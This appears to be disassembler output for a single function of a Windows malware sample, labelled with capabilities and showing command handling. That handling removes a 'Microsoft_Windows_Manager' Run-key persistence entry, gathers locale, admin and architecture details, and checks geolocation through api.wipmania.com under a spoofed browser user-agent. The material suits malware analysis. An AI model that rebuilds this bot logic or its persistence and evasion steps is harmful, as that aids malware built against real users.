Function at 0x4023c3
Capabilities:
Create http request
Delete registry value
Get geographical location
Persist via run registry key
Read data from internet
Receive data
Reference http user-agent string
Terminate process

Disassembly:
push ebp
lea ebp, [esp - 0x64]
sub esp, 0x208
xor eax, eax
inc eax
cmp dword [ebp + 0x78], eax
mov dword [ebp + 0x58], 0x6b7274
jl 0x402749
push ebx
mov ebx, dword [ebp + 0x74]
push esi
push edi
mov edi, dword [ebp + 0x70]
lea esi, [edi + ebx*4]
push 0x408918
push dword [esi]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402472
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp + 0x78]
push eax
mov edi, 0xf003f
push edi
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun_
push 0x80000002
call esi
mov ebx, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
test eax, eax
jne 0x40243a
push str.Microsoft_Windows_Manager
push dword [ebp + 0x78]
call ebx
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp + 0x78]
push eax
push edi
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun_
push 0x80000001
call esi
test eax, eax
jne 0x402464
push str.Microsoft_Windows_Manager
push dword [ebp + 0x78]
call ebx
push dword [ebp + 0x78]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [ebp + 0x78], 2
jl 0x402743
push 0x408910
push dword [esi]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402566
push 0x14
xor ebx, ebx
lea eax, [ebp + 0x44]
push ebx
push eax
call sub.MSVCRT.dll_memset
push 0x406558
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
test eax, eax
jne 0x4024ee
push 0x14
lea eax, [ebp + 0x2c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x14
lea eax, [ebp + 0x2c]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
lea eax, [ebp + 0x2c]
push eax
lea eax, [ebp + 0x44]
push 0x406554
push eax
call edi
add esp, 0xc
push 0x406550
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40251f
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
lea eax, [ebp + 0x44]
je 0x402515
push str.ADMIN
jmp 0x40251a
push 0x406540
push eax
call edi
pop ecx
pop ecx
push 0x40653c
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40254f
call fcn.004031fd
test al, al
lea eax, [ebp + 0x44]
je 0x402545
push str.X64
jmp 0x40254a
push str.X86
push eax
call edi
pop ecx
pop ecx
push ebx
lea eax, [ebp + 0x44]
push eax
push 3
push dword [ebp + 0x6c]
call fcn.004021a4
add esp, 0x10
jmp 0x402743
push 0x408914
push dword [esi]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x40257e
push eax
push dword [esi + 4]
jmp 0x402554
cmp dword [ebp + 0x78], 3
jl 0x402743
push 0x40890c
push dword [esi]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x402743
lea edi, [edi + ebx*4 + 8]
push dword [edi]
call fcn.00402ef7
pop ecx
test eax, eax
je 0x402743
push 2
push 0x28
push dword [edi]
lea eax, [ebp + 0x58]
push eax
call fcn.0040308e
xor ebx, ebx
push 0x100
lea eax, [ebp - 0xd4]
push ebx
push eax
mov dword [ebp + 0x78], ebx
call sub.MSVCRT.dll_memset
push dword [edi]
lea eax, [ebp - 0xd4]
push 0x406528
push 0xff
push eax
call sub.MSVCRT.dll__snprintf
push 0x406524
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
add esp, 0x34
test eax, eax
je 0x4026b3
push 0x406550
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x4026b3
push 0xc8
lea eax, [ebp - 0x1a4]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_5.0__Macintosh__Intel_Mac_OS_X_10.9__rv:25.0__Gecko_20100101_Firefox_25.0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp + 0x5c], eax
cmp eax, ebx
je 0x4026aa
push ebx
push ebx
push ebx
push ebx
push str.http:__api.wipmania.com_
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp + 0x60], eax
cmp eax, ebx
je 0x4026a1
lea ecx, [ebp + 0x40]
push ecx
push 0xc7
lea ecx, [ebp - 0x1a4]
push ecx
push eax
call dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x1a4]
push 0x3e
push eax
call sub.MSVCRT.dll_strchr
inc eax
pop ecx
pop ecx
je 0x4026a1
push eax
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4026a1
mov dword [ebp + 0x78], 1
push dword [ebp + 0x60]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp + 0x5c]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x406550
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
jne 0x4026f9
push dword [edi]
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov edi, eax
push 0x4064ac
push edi
call sub.MSVCRT.dll_strtok
push 0x4088bc
push edi
call sub.MSVCRT.dll_strcmp
add esp, 0x10
test eax, eax
je 0x4026f9
xor eax, eax
inc eax
mov dword [ebp - 0xd8], eax
mov dword [ebp + 0x78], eax
push 0x406524
push dword [esi + 4]
call sub.MSVCRT.dll_strcmp
pop ecx
pop ecx
test eax, eax
je 0x402712
cmp dword [ebp + 0x78], 1
jne 0x402743
push 1
call fcn.004032f8
mov dword [ebp - 0xdc], eax
push ebx
lea eax, [ebp - 0xdc]
push eax
push 0x4011dc
call fcn.0040334d
mov ecx, dword [ebp - 0xdc]
add esp, 0x10
imul ecx, ecx, 0xc
mov dword [ecx + 0x408b70], eax
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 0x64
leave
ret